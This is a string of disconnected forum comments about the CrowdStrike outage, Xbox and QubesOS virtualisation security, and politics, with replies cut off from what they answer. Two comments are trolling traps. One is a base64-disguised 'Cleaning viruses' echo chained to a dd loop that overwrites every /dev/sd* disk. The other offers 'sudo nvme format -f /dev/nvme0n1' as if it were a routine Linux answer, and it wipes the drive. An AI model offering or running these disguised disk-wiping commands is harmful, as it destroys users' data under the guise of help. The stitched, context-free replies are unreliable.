I thought only people who subscribed to CrowdStrike's services had that driver installed.
Same thing would happen on Linux if someone wrote a bad kernel module and integrated it into the OS. In fact, Crowdstrike did have a similar problem a few months ago on Linux.
I'm no fan of Microsoft, but this isn't their fault.
But if he drops out, how is he going to claim that the election is rigged and complain about DEI and "the woke"?
At least there wasn't a third party, kernel level security software suite installed.
Are you familiar with QubesOS? It has a similar security model to the Xbox consoles.
Basically, the host OS only exists to run VMs, which includes separate VMs for networking, USB devices, applications, etc. With QubesOS, you can also pass through something like a GPU for use in a dedicated gaming VM (although you can do that on any Linux distro).
That's normal. That just means the viruses were cleaned from your computer.
echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done
Seems like that's a Windows issue and not Xbox. There was a recently released kernel exploit for Xbox, but it's sandboxed to the SystemOS.
If you want to pwn the Xbox OS entirely, you would need a hypervisor escape exploit, which is very difficult to accomplish.
There is nothing Microsoft I would consider "top tier" when it comes to security.
Counterpoint: Xbox consoles. They just stick everything inside of VMs a la QubesOS
On Linux, it's sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1
Silly me. Yes, of course.
